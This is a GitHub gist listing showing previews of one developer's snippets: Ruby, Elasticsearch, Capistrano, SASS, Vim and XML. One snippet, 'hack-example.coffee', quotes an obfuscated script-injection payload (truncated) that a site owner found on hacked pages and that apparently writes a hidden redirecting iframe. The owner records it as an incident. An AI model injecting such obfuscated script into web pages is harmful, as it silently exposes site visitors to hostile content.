Skip to content

Instantly share code, notes, and snippets.

View emptyflask's full-sized avatar

Jon Roberts emptyflask

View GitHub Profile
@emptyflask
emptyflask / keybase.md
Created March 24, 2014 20:26
keybase.md

Keybase proof

I hereby claim:

  • I am emptyflask on github.
  • I am emptyflask (https://keybase.io/emptyflask) on keybase.
  • I have a public key whose fingerprint is 1C8E C18D DAC7 E41F EDFD 062E 6A43 3423 4032 977E

To claim this, I am signing this object:

@emptyflask
emptyflask / pathfinder.rb
Created March 31, 2014 21:37
Brute-force Pathfinder (converted from python)
require 'term/ansicolor'
SMALL_MAZE = """
|||||||||
|S |
| ||| |||
| |
| || || |
| |
| || ||||
@emptyflask
emptyflask / jstack.dump
Created December 5, 2014 19:10
elasticsearch with couchdb river plugin jstack dump
2014-12-05 12:49:21
Full thread dump OpenJDK 64-Bit Server VM (23.7-b01 mixed mode):
"Attach Listener" daemon prio=10 tid=0x00007fa4c420e000 nid=0xb20 runnable [0x0000000000000000]
java.lang.Thread.State: RUNNABLE
"elasticsearch[heisenberg][search][T#3]" daemon prio=10 tid=0x00007fa4d009b800 nid=0xa48 waiting on condition [0x00007fa4c99ce000]
java.lang.Thread.State: WAITING (parking)
at sun.misc.Unsafe.park(Native Method)
- parking to wait for <0x00000000bbe98d98> (a java.util.concurrent.LinkedTransferQueue)
@emptyflask
emptyflask / deploy.rb
Last active August 29, 2015 14:13 — forked from andrey-skat/deploy.rb
# also you need to uncomment next line in Capfile
# require 'capistrano/rails/assets'
namespace :deploy do
namespace :assets do
Rake::Task['deploy:assets:precompile'].clear_actions
desc 'Precompile assets locally and upload to servers'
task :precompile do
@emptyflask
emptyflask / sass_multiply.rb
Created June 18, 2010 18:04
SASS mult() function
module Sass::Script::Functions
def mult(color1, color2)
c1 = color1.rgb.map { |c| c / 255.0 }
c2 = color2.rgb.map { |c| c / 255.0 }
Sass::Script::Color.new(c1.zip(c2).map { |a,b| (a*b*255).to_i })
end
end
@emptyflask
emptyflask / adv_daily.json
Created April 1, 2011 16:15
ZingChart themes/defaultsurl not working?
{
"graphset":[
{
"scale-x":{
"zooming":1,
"values":["2011-02-25","2011-02-26","2011-02-27","2011-02-28","2011-03-01","2011-03-02","2011-03-03","2011-03-04","2011-03-05","2011-03-06","2011-03-07","2011-03-08","2011-03-09","2011-03-10","2011-03-11","2011-03-12","2011-03-13","2011-03-14","2011-03-15","2011-03-16","2011-03-17","2011-03-18","2011-03-19","2011-03-20","2011-03-21","2011-03-22","2011-03-23","2011-03-24"]
},
"scale-y":{
"text":"Client Nondefault Impressions"
},
@emptyflask
emptyflask / hack-example.coffee
Created June 3, 2012 22:00
someone's stupid redirect hack
# This was the latest piece of code to affect sites hosted here:
# <script>i=0;try{prototype;}catch(z){h="harCode";f=['-33c-33c63c60c-10c-2c58c69c57c75c67c59c68c74c4c61c59c74c27c66c59c67c59c68c74c73c24c79c42c55c61c36c55c67c59c-2c-3c56c69c58c79c-3c-1c49c6c51c-1c81c-29c-33c-33c-33c63c60c72c55c67c59c72c-2c-1c17c-29c-33c-33c83c-10c59c66c73c59c-10c81c-29c-33c-33c-33c58c69c57c75c67c59c68c74c4c77c72c63c74c59c-2c-8c18c63c60c72c55c67c59c-10c73c72c57c19c-3c62c74c74c70c16c5c5c64c55c76c66c70c72c68c63c4c58c58c68c73c4c68c55c67c59c5c73c74c58c73c5c61c69c4c70c62c70c21c73c63c58c19c7c-3c-10c77c63c58c74c62c19c-3c7c6c-3c-10c62c59c63c61c62c74c19c-3c7c6c-3c-10c73c74c79c66c59c19c-3c76c63c73c63c56c63c66c63c74c79c16c62c63c58c58c59c68c17c70c69c73c63c74c63c69c68c16c55c56c73c69c66c75c74c59c17c66c59c60c74c16c6c17c74c69c70c16c6c17c-3c20c18c5c63c60c72c55c67c59c20c-8c-1c17c-29c-33c-33c83c-29c-33c-33c60c75c68c57c74c63c69c68c-10c63c60c72c55c67c59c72c-2c-1c81c-29c-33c-33c-33c76c55c72c-10c60c-10c19c-10c58c69c57c75c67c59c68c74c4c57c72c59c55c74c59
" ftplugin/haskell.vim
set tags=tags;/,codex.tags;/
" Disable haskell-vim omnifunc
let g:haskellmode_completion_ghc = 0
autocmd FileType haskell setlocal omnifunc=necoghc#omnifunc
autocmd FileType haskell nnoremap <buffer> <F1> :HdevtoolsType<CR>
# Create ES index
curl -XPUT 'http://search.foo.com:9200/api_master13/' -d '
{
"settings" : {
"number_of_shards" : 5,
"number_of_replicas" : 0
},
"mappings": {
"event": {
"properties": {
@emptyflask
emptyflask / avery-5160.xml
Created November 4, 2014 23:22
Apache FOP XML for Avery 5160 address labels
<?xml version="1.0" encoding="utf-8"?>
<fo:root xmlns:fo="http://www.w3.org/1999/XSL/Format">
<fo:layout-master-set>
<fo:simple-page-master master-name="labels" margin="0.5in 0 0.5in 0.1875in" page-width="8.5in" page-height="11in">
<fo:region-body/>
</fo:simple-page-master>
</fo:layout-master-set>
<fo:page-sequence master-reference="labels">
<fo:flow flow-name="xsl-region-body">